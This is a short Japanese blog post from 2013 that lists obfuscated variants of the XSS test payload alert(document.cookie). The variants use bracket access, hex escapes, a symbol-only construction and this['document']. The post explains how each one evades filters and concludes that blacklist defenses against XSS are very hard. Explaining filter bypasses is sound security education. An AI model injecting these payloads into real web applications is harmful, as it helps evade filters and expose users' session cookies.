document.cookieのバリエーション
よくXSSがないかどうかのテストでalert(document.cookie)が実行できるか試すというのがありますが、そのバリエーションの紹介。
まず、JavaScriptではオブジェクトは連想配列としてもアクセスできるので。
alert(document["cookie"]);
ダブルクォートをシングルクォートに変えることも可能ですが、クォートが使える場合でないとXSSできないので、あまり使い道はなさそうですが。ドットは使えないがクォートが使えるという特殊なケースで役立つことでしょう。
また、連想配列としてアクセスする場合、キーは文字列なので16進表記で。
alert(document["\x63\x6f\x6f\x6b\x69\x65"]);
あと、かなり変態的でおもしろいのが以下。
alert(document[({}+[])[!+[]+!![]+!![]+!![]+!![]]+({}+[])[+!![]]+({}+[])[+!![]]+"kie"]);
({}+[])はオブジェクトが文字列にキャストされ、[object Object]に。そして、![]はfalse、!![]はtrue、+で演算するとtrueは1になり、結局[!+[]+!![]+!![]+!![]+!![]]は5。
ということで、[object Object]という文字列から何文字目かを指定して、cooを作成し、残りのkieと結合してcookieという文字列を作成したということのようです。
記号は使えるけど、英数字があんまり使えない環境で有効でしょう。
上記のバリエーションで、16進表記を使ったもの。
alert(document[({}+[])[!+[]+!![]+!![]+!![]+!![]]+({}+[])[+!![]]+({}+[])[+!![]]+"\x6b\x69\x65"]);
あとは、thisを使ったもの。
alert(this["document"]["cookie"]);
まあ、XSSをブラックリストで防ぐのは非常に困難という話です。
参考
Date: 2013/12/31



![徹底攻略PHP5技術者認定[上級]試験問題集 [PJ0-200]対応 徹底攻略PHP5技術者認定[上級]試験問題集 [PJ0-200]対応](http://tatsu-zine.com/images/books/164/cover_s.jpg)

